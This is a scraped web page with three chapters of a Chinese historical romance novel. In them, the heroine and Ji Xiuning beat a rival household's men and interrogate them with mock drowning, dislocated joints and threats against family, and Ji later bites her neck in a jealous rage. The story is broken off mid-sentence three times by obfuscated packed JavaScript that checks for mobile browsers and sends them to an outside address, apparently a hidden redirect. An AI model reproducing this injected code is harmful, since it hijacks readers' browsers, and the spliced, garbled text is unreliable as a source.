l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116361|193966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种人就是看起来越平静,实际上心里越疯。 她是这样的人,季修宁也是。 季修宁把玩酒杯的动作微顿,心中涌起一丝怪异的感觉。 他眉心微蹙:“我很好。” 见状,路元玉猛地反应过来,自己又越线了。 明明一直在提醒自己不要多管闲事,不要听不要看,只做自己就好了,但……或许是今天阿青的事给了她莫名的自信,让她以为自己很伟大,好像可以救赎很多人,但事实是不是每个人都需要她。 路元玉脸上的血色骤然褪尽,眼中也没有了方才的神采。 她倏然冷静下来,咬了咬唇,声音恢复成以往的淡漠,“那就好,我先走了。” 季修宁看着路元玉离开的背影,眉心不自觉皱成一团,张了张嘴想说些什么,却在路元玉的背影完全消失后,还是没能说出来。 这天晚上路元玉很快就调节好了自己的情绪,还算一夜好眠,季修宁看起来也还不错,就是好像看起来比昨天脾气更差了。 阿青一整个早上都紧紧黏在路元玉身边寸步不离。 她好像感觉到姐姐和哥哥好像吵架了,但两人又能若无其事地交谈,但两人之间没有了昨日的那种亲近感。 但阿青也不敢问,只是默默把自己的头埋的更低。 路元玉一把将阿青拎起来做好,一脸严肃问道:“我刚才说的你都听清楚了吗?” 阿青连连点头:“知道了,一会儿他们过来之后,我瞅准时机离开去找一些乞丐,给他们钱让他们成为我们的眼线帮我们打听消息,要打听什么我也都一一记下了。” 路元玉:“如果他们不来?” 阿青:“等到未时他们还不来的话,我们就一起行动。” 路元玉满意地点点头:“真棒。” 然后看向季修宁,脸上的笑容在一瞬间收了回去:“就按我们昨天说好的,走吧。” 季修宁见状,眼神稍微暗了几分,薄唇微张,最终却只是冷冷地点了点头。 三人合计完,阿青就走在前面带路,路元玉走在中间拿着个小包袱,季修宁在后面举着从客栈里借的一张桌子和一条长凳。 三人走到行市,找了个空位停了下来。 路元玉四处看了看:“就在这里吧。” 阿青帮忙从包袱里拿出一个牌子摆在了桌上,又拿出笔墨纸砚摆好,静静地坐在长凳上。 她看向不知道在看什么的路元玉问道:“姐姐,你说他们今天回来吗?如果不来,我们岂不是耽误了好多时间?” 路元玉正在打量街上的布局,此时正值巳时,行市上逛街的人不是很多,大多都是行色匆匆,这里的摊位也比较小,如果一会儿打起来,也不会给别人造成什么特别大的损失。 冷不丁听到阿青这么问,路元玉转过头笑着问:“耽误时间?难不成你有事要做?” 阿青被问的一愣,摇了摇头:“没有……不过——” “没有就不算浪费时间,而且我们也不是单纯在等他们,也是在摆摊挣钱呀。” 阿青似懂非懂地点了点头。 路元玉也想趁着昨天她的热度,出来摆个摊,修修古物赚点钱什么的,否则等这段时间一过去,她再想赚钱就难了。 而且今天张府必定会派人过来,毕竟他们心心念念的古方还在阿青手里,就算他们不要人,还是要把古方要回去的。 路元玉几人面生,从她们摊位前路过的人们都要在她的摊位前驻足片刻,看看她们到底是卖什么的。 毕竟她这个摊位太过简陋,桌子上就只放了一个木牌,上面写着“修补古物”四个有些潦草的大字。 不知是不是她的错觉,她还从好些人的眼中看到了一些轻视的意味。 不过也有些人亲眼见证了昨日阿青被抓的完整场面,知道阿青就是被她救走的,但此时也不敢上前搭话,甚至远远的看见他们就绕着走,导致周围的摊主们纷纷投来不喜的目光。 路元玉却统统当作看不见,她早就学会了不让外界的眼光和言论影响自己的行动,昨日她因为救不救阿青而纠结,也不是为了宣扬自己见义勇为的美名,她所做的一切都是出自本心。 季修宁则是一上午一言不发,直愣愣地站在摊位前放冷气,方圆几米都没人敢过来。 路元玉察觉到季修宁一点也不敬业的状态,刚想让他去别的地方转转,不要影响她赚钱的时候,她们等的人终于到了。 30. 第三十章·转机 赵丰出现在路元玉摊位前的那一刻,这条街终于热闹了起来。 路元玉余光瞥见他后,并没有什么反应,只是淡淡道:“修补古物,若是不修请不要站在摊位前挡到我别的客人。” 赵丰跟一堵墙似的挡在摊位前,阴狠地盯着路元玉:“哼,你别高兴太早,今天我是来抓你的!” “兄弟们,把她们给我拿下!” 昨日他被狠狠打了三十大板,今日差点下不来床,全都是眼前这个女人害的! 原本他还以为她是什么贵族小姐,没想到也是个打肿脸充胖子的,竟然还出来卖东西。 哪有贵族小姐出来摆摊的?都怪他昨日看走了眼! 路元玉挑眉,今日季修宁在她身边,此时赵丰骤然发难,她并不慌,只是默默向后退了一步,然后将阿青不着痕迹地从后面推了出去。 季修宁在他们上前后也动了起来。 路元玉站在后面,冷笑着看着赵丰,“怎么,你们老爷让你今天来抢人了?” 赵丰面色阴沉:“贱人,今天就让你见识见识什么叫厉害!” 路元玉笑而不语,赵丰胖得眼睛挤成一条缝,并没有看到旁边直直朝他踢过来的一脚。 季修宁用了十成十的力气,砰的一声,赵丰还没反应过来,就被踹在了地上。 其余人见状连忙想过去扶,却还没近的了他的身,就被季修宁一拳打倒了。 不消片刻功夫,这片地方已经变成一片狼藉,不远处逐渐聚集起一堆人观望,却一个人也不敢上前。 张府的小厮倒了大半,而季修宁只是衣角微脏。 赵丰被季修宁打得最厉害,最后鼻青脸肿得像个猪头,疼得从地上站不起来,只能趴着。 见人很快被季修宁控制起来,路元玉面无表情从摊位后面走到赵丰面前,不知从哪里拿出一圈麻绳弯腰打算将他们一个个捆起来,却被旁边站着的季修宁抢过去了。 路元玉乐的轻松,就站在一旁欣赏破防的赵丰。 赵丰气得面色通红,即使在地上趴着,身上的气焰也没有灭下去,反而更加高涨。 “贱人,你敢这么对我,被我们家老爷知道了,他一定不会饶了你的!” 路元玉想开口讽刺,季修宁却先一步踹上了他的屁股,力道之大,疼得赵丰又大叫一声。 路元玉被吓一跳,反应过来后唇边掩不住轻笑出声:“你这屁股是被你们家老爷打的吧,啧啧啧,下手太狠了。你放心,等你们家老爷过来后,我会为你求求情的。” 围观的百姓见这么多人一下子被路元玉旁边的男人打败了,不禁低声啧啧称奇。 平日里他们或多或少都受过他们家的欺负,此时都感到解气了很多。 “姑娘,你要把他们带到哪里?好心提醒你一句,他们家可惹不起啊!” 路元玉刚准备去桌上那笔和纸,没想到忽然有人上前同她说话。她定睛看去,发现是个上了年纪的老奶奶。 老奶奶衣着简朴,跨了个菜篮子,身形有些佝偻,泛白的头发梳得一丝不苟。 路元玉意识到有新鲜消息,打起精神认真问道:“老奶奶,此话怎讲?” 老奶奶凑近路元玉几分,低声道:“你初来乍到,不知道他们张家在金陵开了很多粮油铺子,衣料铺子,还有其他日常生活都离不开的,你要是得罪了他们,在这里可活不下去!” 路元玉眉心微拧:“金陵这么大,他们能掌控所有店铺?” 老奶奶闻言,讳莫如深地摇了摇头,离开了。 路元玉看着她离去的背影,又看向一边地上的赵丰,看来一会儿是要好好问问了。 季修宁去借了一辆驴车,将赵丰几人拉到了城郊人迹罕至的地方。 他们几人的嘴被破抹布塞住了,此时只能听到他们呜呜的求救声。 路元玉和季修宁冷着脸一味地往前走,对他们弄出的声音充耳不闻。 走到一处破败的枯井处,路元玉让季修宁停了下来。 枯井旁边是一颗老榕树,遮挡住正午火辣辣的太阳,在地上洒下一片阴凉。 路元玉回头看着跟在赵丰身边的十个小厮,轻松笑道:“走了这么久,终于给你们找到一个好位置。” 几人闻言,都瞪大了眼睛,不住地往后退。 又是枯井又是老树,一看就是要取他们的性命了! 他们只是跟在赵丰身边挣点窝囊废,可不想就这么白白送命啊! 路元玉却仿佛没看到似的,轻松惬意地靠着树干不动了。 刚开始他们几人以为路元玉不敢杀他们,于是又叫嚣着要离开,但随着时间一点一点消逝,正午的热气慢慢挥发,空气越来越凉,西边的夕阳越来越暗,他们才猛然醒悟——她是要选择在晚上动手杀了他们! 顿时他们也不叫了,也不哭了,只是一味地开始想办法逃走了。 然而都是一些无用功,季修宁系的绳子看似很容易解开,但是不懂的人随意乱动,就很容易将绳子弄得越来越紧。 赵丰因为身体虚胖,又因为今天出了很多力,下午的时候就晕了过去,此时天色将晚,他还没有醒来的迹象。 路元玉之所以选在这里是因为他们暂时在城内还找不到隐蔽的办事地点,她不想让张府的人那么快找来,也不想让他们轻易地就找到她们。 还有一点是在为了阿青拖延时间。 片刻后,季修宁走到路元玉身边,说出了今天的第一句话:“还等吗?” 路元玉看了看天色,估摸了一下时间,现在大概是晚上七点左右,这里有十一个人,一个一个逼问起来可能要花费一些时间,于是摇了摇头。 “我们开始吧。” 路元玉把他们带到这里来还是为了要问话,他们跟着赵丰作恶多端,一定知道不少张府的恶迹,这些东西从他们嘴里说出来,虽然算不上多么有力的证据,但仍能给张府有力一击。 见路元玉发话,季修宁起身三两下就将一个小厮押到了井边。 小厮体型瘦弱,他拎在手里没什么分量,二话不说,直接将小厮半个身子都押在了井里。 “不要!”小厮哆哆嗦嗦吓了一跳,他也想不到她们等了这么久一句话都不问,直接就要杀人灭口啊! 他用力一挣,季修宁也并没有使出全力,只是为了吓唬他,这小厮就被他带了出来,扔在了地上。 这时,路元玉才慢慢开口:“你叫什么名字?” 瘦弱的男人狼狈地趴在地上,但不敢有片刻迟疑道:“我、我叫小六。” 他对季修宁的武力值已经害怕入骨,而季修宁又只听路元玉的话,连带着他也对路元玉有种天然的畏惧。 路元玉:“小六?你和张府是什么关系?” 小六:“他们买了我当护院,是、是雇佣关系!” 路元玉:“你是什么时候被买来的?祖籍何处?将你在张府里见过的事都细细说来,我饶你不死。” 小六有片刻怔愣,他本以为眼前的姑娘只是为了替那个阿青报仇,今天不管他说什么都必死无疑,没想到,他们两人竟是冲着张府来的! 太好了,他今天可以不用死了! 小六连忙回过神,将自己所有知道的事情全都说了出来,说的事无巨细。 小六一边说,季修宁在一边记录。 他正说的起劲,赵丰突然醒了,他细细听了一会儿,发现小六正在说张府买卖官职的事,连忙一惊,又晕了过去。 小六说完后,季修宁将他记录的供词拿到他面前:“按手印。” 小六哆哆嗦嗦:“没、没有红泥。” 闻言,季修宁用匕首,在他食指上划开一道口子,冷冷道:“好了。” 小六强忍住惊吓,按了手印后又被季修宁绑了起来,扔在一旁,后面几人也如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128360|193966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法炮制。 后面的人见小六投降地如此彻底,也都将自己知道的说了出来。 然而小六他们是来的最晚的一批,最早跟着赵丰一起干的几人还都挺讲义气,死活不肯开口。 路元玉没办法,她总不能将这几人送进官府吧?那不等于是给张府送人了? 于是看向了季修宁。 他损招多。 季修宁察觉到视线,薄唇微抿。 今天路元玉忽视了他一整天,本来没觉得有什么的,但面无表情一整天的脸终于稍微缓和了点,唇角暗暗勾起一个像素点。 心里的不快先放下不提,此时路元玉在这种事情上对他的依赖,让他很满意,因为这种事情只有他能为她做。 季修宁却并没有回应她,只是站起来走到那人身边,二话不说卸了他们的膝盖骨,胳膊肘等部位,疼得这两人嗷嗷大叫,其中一个人受不了疼痛,立刻就招了。 然而最后这个名叫赵勤的男人,也就是路元玉昨天看到的,跟在赵丰身后,两人一唱一和欺负阿青的那个男人,疼得都快要晕过去了,但还是嘴硬得什么都不说。 季修宁噙着一抹冰冷的笑,凑近他的脸。 “是个好汉,不过,不知道你老婆孩子能不能担得起你这位好汉。” 季修宁眼中闪着幽暗细碎的月光,让原本固执不屑一顾的赵勤愣住了。 季修宁面无表情地帮他回正了下颌骨。 用家人作为威胁这种手段他用过很多次,既好用又方便。 用的多了以后他开始越来越不理解,为什么能有人将自己的生命置之度外,反而将家人的性命看得如世间至宝。 人来到这个世界上难道不是为了自己而活吗?难道他们是为了家人而活? 季修宁不理解,但他也不会再去纠结这个问题,这对他来说什么用处都没有。 赵勤的下颌骨被接上以后,不知道想了什么,眼中竟然有泪珠溢出。 都说男儿有泪不轻弹,只是未到伤心处。 但路元玉并不以为然。 世间只有爱哭和不爱哭两种人,爱哭是一种体质问题,自己又控制不了,说那么好听干什么? 她有些烦躁地“啧”了一声。 季修宁下一秒手伸了过去,打算再给他掰骨折,赵勤却开口了。 原来赵勤是赵丰的哥哥,兄弟俩小时候父母双亡,是赵勤带着赵丰长大。赵丰长大后比赵勤闯荡许多,到处跟着人混不学好,赵丰为此非常发愁。 但赵丰不听话,赵勤后来也就当没有这个弟弟,他给自己攒钱,娶了媳妇。结婚两年后,他有了自己的第一个孩子,非常激动。 那天他去城里给人送货,然而回来后就发现自己的弟弟和媳妇孩子躺在一片血泊里。 血流满地,场面惨不忍睹。 他痛不欲生,扑到几人身上哭得肝肠寸断,忽然他看到弟弟的手动了一下。 赵勤想知道到底发生了什么,连忙去给他找了郎中过来。 赵丰因为比较胖,利器没有伤及要害,侥幸活了下来,后来赵丰告诉赵勤,是他为了躲仇家才跑到赵勤家里,没想到赵勤不在家,而仇人又比较凶残直接将他们全都杀了。 赵丰挡在他嫂嫂和孩子前面,却也没能阻止他们行凶。 后来赵丰逐渐好转,不知怎么到了张府谋职。 他本来不想去,但赵丰告诉他,可以利用张府的权势来报仇,他就心动了。 后来不知怎么,就跟着赵丰干了一件又一件坏事,等他意识到的时候,已经回不了头了。 听完赵勤的故事,路元玉眉头紧皱,不仅没有丝毫同情的意味,甚至还在分析事情走向:“所以你报仇了吗?” 赵勤眼神黯淡,失魂落魄地摇了摇头。 路元玉闻言,冷漠的语气中带着些讽刺:“所以,你为什么以为你弟弟和他们不是一伙的?” 31. 第三十一章·发疯 话落的一瞬间,赵勤整个人仿佛被定在了地上,眼睛直直地没了反应,仿佛魂魄中最后一缕神丝也已经离体飞走了。 路元玉却没给他反应的时间:“赵丰有找你要过什么东西吗?” 赵勤愣了好一会儿才回过神,但下意识选择不相信,他摇了摇头,情绪有些激动起来:“不……不是这样的……” 路元玉打断他:“你好好想想,赵丰回来后,你家里有没有少过什么东西?” 起初,赵勤仍陷在他的惯性思维中,不想相信,但不知他想到了什么,整个人又愣住了。 “镜、镜子……” 路元玉挑眉,还真有? 她开口问:“什么镜子?” 赵勤愣愣开口:“家里有个祖传的铜镜,一直没舍得扔。那段时间赵丰回来以后,往家里置办了很多新东西,也扔了很多,那个铜镜我舍不得,他却说什么都要扔掉,后来……就没见过了。” 路元玉心中浮现出一些铜镜的样子,问:“你能说出那面铜镜是什么样子吗?” 赵勤:“就是很普通的圆形青铜镜,镜子背面中心有个圆球凸起,其余部分还刻了青龙,白虎,玄武和朱雀四个神兽的样子。” 路元玉呼吸急促,“是不是还有一些竖条纹?” 赵勤:“对。” 路元玉神色微凛,“那就对了。你说的这面铜镜,是西汉时期的铭四神规矩镜,你弟弟赵丰一定是拿去卖了。” 赵勤眼神空洞,像是忽然被抽干了精气般,跌坐在地上,一个字也说不出来了。 路元玉丝毫没有感觉到地上这个男人已经陷入极度脆弱状态,需要人安慰,还在自顾自地完善自己的猜测:“可能你弟弟早就攀附上了张府,为了在张府混得更好,想用你们家这个东西换取他的前程,但不知中途出了什么差错,不仅你的媳妇和孩子死了,他自己也身受重伤。” “不……!!”赵勤痛苦抱头。 他实在接受不了这样的事实,消沉片刻后,猛地爬向旁边一直昏迷着的赵丰,用尽全身力气想要将他叫醒。 赵丰却仍紧闭双眼,没有一丝醒过来的迹象。 路元玉见状,冷笑一声:“你这样问他,他当然不肯承认。如果你愿意配合,我倒是有个好办法。” 赵勤猛地扭头看向路元玉,眼中充满熊熊怒火:“什么办法?” 路元玉薄唇轻启:“把你这些年来干过的所有龌龊事一一交代,我会拿着这些东西扳倒张家,到时候赵丰没人撑腰,他心里没了依仗,自然就什么都就交代了。” 赵勤闻言,却轻蔑一笑:“扳倒张家?你知道张家在金陵盘踞了多少年吗?岂是你说扳倒就能扳倒的?” 路元玉面上闪过一丝赞许,这个赵勤到现在竟然还没失去理智,还挺不错。 她意有所指地看了眼季修宁,含糊道:“我自然有我的办法。” 赵勤也向季修宁看去,之前没有细看,现在看才发现,眼前这人竟仪表不俗,气质不凡,看上去确实不是普通人。 他还在犹豫,路元玉补充道:“我们也不傻,不会什么都没有就一枪莽撞地撞上去,只要你将消息告诉我,我们自然有办法办成这件事。” 赵勤眯了眯眼,脑中闪过眼前这女人的一举一动。 她的针对性很强,一来到金陵就和他们对上了,仿佛是专门过来找茬似的,难不成……是皇上那边的人? 思及此,他觉得不无可能。 张家这几年在金陵横行霸道,皇上新朝初立,若是缺钱,自然会先拿这种欺压百姓的豪强入手。 思来想去,赵勤竟阴差阳错地误会了他们的身份。 他沉沉开口道:“天狩五年,赵丰带着我换了药店里的草药……” 听见赵勤真的开始将他们做过的事一件一件说了出来,赵丰再也装不下去,猛地睁开眼睛,挣扎着就要去捂赵勤的嘴。 “别说了别说了!要是被张老爷知道了,你和我都会死的!” 赵勤见赵丰根本没晕,刚才果然是在假装,顿时更气了,眼睛通红地盯着他,说话的语速也越来越快。 赵丰又惊又怒,整张脸都皱在一起:“你别说了!嫂子那件事我不是都跟你解释清楚了吗?怎么因为一个外人,你就不信我了?我可是你的亲弟弟啊!” “那个铜镜我真的不知道!我冤枉啊!我就是觉得它太旧了,我真的把它扔了,没有偷偷拿着卖钱!” 然而他越解释,赵勤眼神越凉。 他这般解释,说明他刚刚明明听到了他们的对话,为何在刚才不解释,偏偏现在才装作刚醒过来的样子来说? 路元玉记得也飞快,但他们这些年实在做过太多恶事,都不是明面上的烧杀抢掠,但性质却比那些事恶心成百上千倍,路元玉一边写,脸都忍不住露出嫌恶的神色,感觉每听一个字仿佛都在侮辱她的耳朵。 记了整整三页纸,赵勤终于说完了,季修宁将纸递到赵勤面前,他二话不说就咬破了自己的食指印了上去。 “如果能为我的妻子报仇,我赵勤死而无憾!” 路元玉点了点头,将东西都收了起来,她看了眼天色,已经完全暗了下来。 “我们走吧。” 那些小厮被路元玉放走了,只剩下赵家兄弟两人。 原本路元玉想让赵勤也走的,但他不肯,说要亲自看着赵丰。 路元玉想把赵丰带回驿站,再等着张府派人来,多带一个赵勤,感觉更麻烦了,他们可没有那么多钱给他们用。 赵勤见状只说道:“我可以看着他。” 路元玉还是摇头,指了指季修宁:“他可以看着,你在反而容易出事,你要是不想回张府,就回自己家吧。但我好心提醒一句,你今日对我们说的事说不定被人告密,张府为了销毁证据,很可能会杀人灭口,你自己要注意着点你的小命。” 赵勤心有不甘,但只好作罢。 “放心,我会好好活着的。”说完跟在那些小厮们后面离开了。 季修宁闻言,原本稍微柔和的脸色又冷了起来。 她到底怎么回事?她怎么突然对每个人都这么好?为什么要提醒他?为什么不让他死?为什么她对每个人都这样? 昨夜没有消退的怪异情绪,加上今晚突如其来的怒气让季修宁有些理智崩溃。 他一把拉住路元玉的手腕,将她按到树干上,呼吸间似乎压抑着磅礴的怒气,声音低沉喑哑,凑得极近。 “为什么。”他一字一句问道,虽然是问句,却是一种不可质疑的上位者姿态。 路元玉被他突然的暴怒吓得失神了片刻,但很快她意识到什么,一种扭曲的快感从心底深处席卷而来。 她抿紧唇,偏过头,不说话。 手腕被季修宁攥得更加用力,他粗重的呼吸就喷洒在耳边,引起她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138003|193966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那一小块皮肤微小的战栗。 季修宁眼眶通红,眉心下压得厉害,面部线条凌冽,整个人散发出强烈的破坏欲。 但除了手腕更痛了点,并没有迎来什么更重的惩罚。 路元玉的沉默让季修宁更加生气,另一只手也被他禁锢在头一侧,眼中暗涌翻滚,似乎下一秒就会将她撕成碎片。 然而内心却又有一个声音,让他不要伤害她。 两种情绪在心间翻滚冲突,仿佛失了智的野兽,只想凭借本能撕咬些什么。 他控制不了自己,只能凭借本能,然后—— 一口咬住了她的脖颈。 他咬得很重,尖利的牙齿似乎要将她的脖颈贯穿,此刻她仿佛变成了他餐盘中的美食,任他撕咬自己没有任何反抗的余地,只能不住地颤抖。 尽管被咬了,路元玉也只是闷哼一声,并没有用力将他推开,不知为什么,他的疯狂让她有些贪恋。 两人初次交锋时就剑拔弩张,她的阈值被他拉的太高,现在这点手段对她来说已经不会让她再害怕。 原本以为季修宁会狠狠咬得她没有知觉,但他在感受到路元玉身体倏然变得僵硬时,嘴上的力道忽然就变小了。 他也不动了,微凉的唇瓣从她皮肤上离开,却没有离开太远。从远处看,他们就好像情投意合,耳鬓厮磨的爱人。 被咬的地方感到明显的凉意,下一秒他温热的呼吸又喷洒在上面,惹得她不适地扭动两下。 季修宁没动,也什么都没说,周身气压却还低沉,禁锢着她不让她离开。 路元玉偏过头,季修宁优越的侧脸放大了十几倍出现在她眼中。 他微阖双眼,唇瓣微张,上面还带了些盈盈水色,在黑夜中发出微弱的光。 虽然看不清他脸部细节,但路元玉仍看出他现在有些迷茫。 她按奈下心中的悸动,淡淡开口:“发够疯了?那我先走了。” 她动了动手腕,却发现季修宁仍牢牢箍着她不撒手。 察觉到他的意图,路元玉不再挣扎,静静等着他说话。 季修宁现在心中很乱,他好像什么都在想,又好像什么都没在想,他抓不住脑海中一丝一缕的意图,这个认知让他有些抓狂——从他记事起,这还是第一次。 为什么不杀了她? 脑海中属这个想法最激烈,也最能挑动他的神经,但他不知为什么,就是下不去手。 甚至刚才凭借本能咬下去的那个牙印,明明只渗出一点血珠,他却感觉这道伤口格外狰狞,甚至让他有些怕。 他之前也动过好几次杀她的念头,但那已经是很久之前了,那时看着她在自己面前逐渐窒息都没有害怕过,现在为什么会害怕? 为什么? 为什么? 为什么! 他脑中已经被这三个字完全占据,根本意识不到自己手中还牢牢抓着路元玉的手腕。 路元玉被他抓的生疼,看着他又一次濒临失控,她不知怎么想的,忽然将自己的脸凑过去,凑到他的脸颊上,轻轻蹭了蹭,像是在安抚陷入应激状态的小猫,她的动作异常温柔,安抚意味浓重。 果然,季修宁身体一颤,紧绷的身体慢慢放松下来。 路元玉试了试将自己的手抽出来,这次很轻易就成功了。 她不自觉松了口气,想去看季修宁的表情,却感到自己脖颈上又一凉。 32. 第三十二章·没落 在他留有牙印的位置,季修宁手指微凉,轻轻摸了上去。 脸上轻柔的触感仿佛仍留有余温,她主动的触碰让他忽然察觉到,她和其他人是不一样的。 她不怕他,不讨厌他,也不怜悯他。 在她的眼中,他从来没有看到过不屑、鄙夷的神情,他仿佛和其他任何人都一样,没什么区别。 季修宁第一次觉得自己看不透她。 起初他认为她不过是一个胆小怕死、被贬了的娇娇小姐,后来发现,她或许比一般人聪明些。再后来,见过她对赵卓远的狠厉后,他觉得或许他们是一个世界的人,都心思阴沉见不得光。 但现在,她路见不平拔刀相助的样子让他第一次认识到,或许当初她救他根本不是什么“他们两人有命定的缘分”,她或许只是真的随手一救,就像救阿青那样,也像随口提醒赵勤那样。她只是为了安抚他,才会编了这样一个借口,没想到他还真的信了。 季修宁唇边溢出一声轻笑,他从来没觉得自己竟然这么傻,没想到竟然被她玩得团团转。 但他却不生气,反而觉得不愧是她,让他更舍不得杀她了。 不过他不因此生气,却还有另一件事让他愤怒——他不能再忍受她看他与看旁人时毫无差别的目光。 她在他这里是特殊的,公平来讲,他应该也要是她最特殊的那个人才对。他不想再看见她平静无波的眼睛,不想再看见她毫无波动的表情,想要她为自己生气,为自己发怒,想要她在自己面前展露最真实的情绪。 说来可笑,从前的他,最厌恶的就是别人在他面前毫无负担地泄露各种情绪,而现在,他想在她身上看到这种情绪。 他内心想法火热,连带着指尖的温度都烫了不少。 路元玉颤了一下,下意识想躲开。 两人从刚才到现在只说了一句话,虽然言语上没有沟通,但路元玉已经从季修宁的动作,呼吸频率和身体温度推断出他现在差不多已经冷静下来了,只是不明白他心里在想什么。 想起昨晚季修宁冷淡蹙眉的表情,她暗暗下定决心,以后她绝不多嘴一次。 可是落在她颈侧的那只手缓缓捏住了她下颌,将她头摆正,直直望进了她眼中。 他的视线阴沉冷郁而又炽热,对上目光的那一刻,路元玉感觉自己似乎彻底被咬住了。 “不许。”季修宁语气沉沉,从上而下睥睨着她,眼中充满浓重的警告。 刚才他发疯路元玉没跟他吵,他咬她她也没跟他吵,原因是她以为要是这样能让她消气放她离开了,她现在有别的事要干,不想和他起冲突。 但没想到他还没完没了了,一次比一次过分,甚至开始限制她了。 不许什么?不管他不许什么,她都不会听。 她的叛逆期来的迟,直到工作以后才显现出来,别人不让她做什么,她偏要做。 路元玉柔软的眉眼轻蹙,手上用了点力气将他推开。 “别闹了。”她语气淡淡,根本不把他的话当回事,季修宁倏然呼吸一滞,又将她圈了起来。 “我说不许。” 他又一次警告,路元玉忍着不耐问道:“不许什么?你倒是说清楚!” 季修宁却不说了,只是目光阴沉地盯着她。 他说不出口。 他说不出口! 说出来干什么,等着被她狠狠拒绝吗? 他反悔了,他不想从她眼中看出别的情绪了,因为他不想看她眼中因为自己而露出厌恶不喜的神情。他下不去手杀她,折磨的反而是自己。 路元玉看着他复杂多变,最后突然怔住的神情,耐心彻底告罄,狠狠推开他离开了。 而这次,季修宁没有再拦。 路元玉回到来福客栈时,阿青已经回来了,她等在门口,远远看见路元玉的身影后就扑了过来。 “姐姐!” 路元玉抱住她,看到她的笑脸,心情顿时好了很多。 “怎么样,任务完成得顺利吗?” 阿青用力点头,然后慢慢松开了路元玉,突然沉默下来,“我查到父亲的死因了。” 路元玉没想到居然这么快就查出来了,感到很震惊,问:“怎么回事?” 阿青眼中恨意翻滚,“确实是张家搞的鬼。” 与此同时,张府。 那些小厮们回去之后,为了免遭责罚,就将他们透露出去的话都扣给了赵丰,说他们是被路元玉特意放回来捎话的。 张陉一脸怒容坐在太师椅上,精明的眼睛射出两道精光。他明显不信那些小厮的说辞,将目光放在赵勤身上。 赵勤是赵丰的弟弟,而且这么多年来,赵勤人也算老实,应该不会故意诬陷他弟弟。 而令他没想到的是,赵勤居然也点头了。 “弟弟他……被用了很厉害的刑,没有抗住,就说出来了。” 张陉怒拍桌子:“那她怎么不给你们用刑?!” 赵勤头低得很深,恭敬道:“我们……她或许是觉得我们知道的不多,想直接从弟弟口中获取更重要的信息,所以才让我们回来报信。” “废物!一个个都是废物!”张陉闻言,拍案而起,用力踹倒了距离他最近的一个小厮,那名小厮也只是连忙爬起来,重新跪好,一边磕头,一边认错。 张陉此时才觉得,或许路元玉真的不简单。她不听话,就别怪他手段强硬了。 他瞥了眼赵勤,虽然赵勤没有赵丰机灵,平时话也不多,但胜在人比较靠谱、踏实,把他留下总比重新再找个人用强。 他对赵勤勾了勾手,赵勤会意,凑过头去,“你一会儿去找……” …… 辛舒用完晚饭,坐在院中吹风,忽然感觉有些无聊,便问旁边的丫鬟道:“雪儿,这两日有什么新鲜事?” 雪儿正在给辛舒斟茶,闻言抬头笑了一下,“娘娘您料事如神,今日还真有件事。” 辛舒嗔了她一句,“别老拿我开玩笑,说说是什么事?” 雪儿吐了吐舌头,“娘娘可还记得昨日同你讲的那位,从湖州府来的姑娘?” 辛舒挑眉,“记得,她又怎么了?” 雪儿:“这位姑娘姓李,今日带着昨日被她救下的阿青在行市上摆了个摊,却只挂了一个木牌,其余什么都没有。” 辛舒:“那她卖什么?木牌上可有什么字?” 雪儿:“听说是修什么东西的,具体的我也不太清楚。不过重点不是这个,重点是等到下午的时候,张府的赵丰带着人去要人了。” 辛舒点点头:“然后呢?” 雪儿卖了个关子,“娘娘你猜猜!” 辛舒无奈地瞥她一眼,“被捉住了?” “没有!”雪儿忽然来了精神,“听说那李姑娘身边还跟着一个武功高强的男人,他以一抵十,把那些人全都打趴下了!” 辛舒也有些惊讶,“怪不得她敢与张家硬碰硬,不过张家……就算他再厉害,后面肯定也是要吃亏的。” 雪儿似懂非懂地点点头,“也是呢……不过跟我们没什么关系啦,娘 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由于过程极为复杂,又是皇室口口相传的暗号,所以非皇室之人都不知道,即使是皇室中人,辨认不出古画上的澄心堂印,也不会找到真正的澄心堂。 季修宁虽然干倒卖古玩这行多年,但也只是懂一些表面知识,让他去辨认印记真假,他一定辨别不出来,这时候就需要路元玉来帮忙。 但他也不会让她白白帮忙,他会帮她查出她家族案情的真相。 路元玉和阿青吃完饭后就回了房间,两人开始拿出各自搜集到的证据开始整理,然而整理完之后,路元玉仍感觉还差点什么。 张家自从前朝没落以后就在金陵圈地为王,这里大大小小的官府都跟他们牵连颇深,虽然有些他们牵扯的证据,但并不足以将这么大的一个家族产业连根拔起。 原本她的计划是将这些东西印成小报让乞丐们发出去,引起百姓暴动,汴京那边自会派人来镇压,实在不行还可以给顾老写封信让他帮帮忙。 但季修宁说这样太慢也太麻烦,他说既然不能将他们连根拔起,可以稍微和他们拉扯一下,最后在张家管事的——张老爷张陉不注意时,一刀将他抹了脖子,到时候他们家大乱,自然就顾不上阿青和她们这里了。 季修宁说一个人有一个人的栓法,并不一定要对什么人都用上《孙子兵法》,有时候简单粗暴的方法反而更好用。 整理好后,路元玉想了想,明天还是不要先把这些东西放出去,先看看张府那边是什么动静,再看解下来怎么办为好。 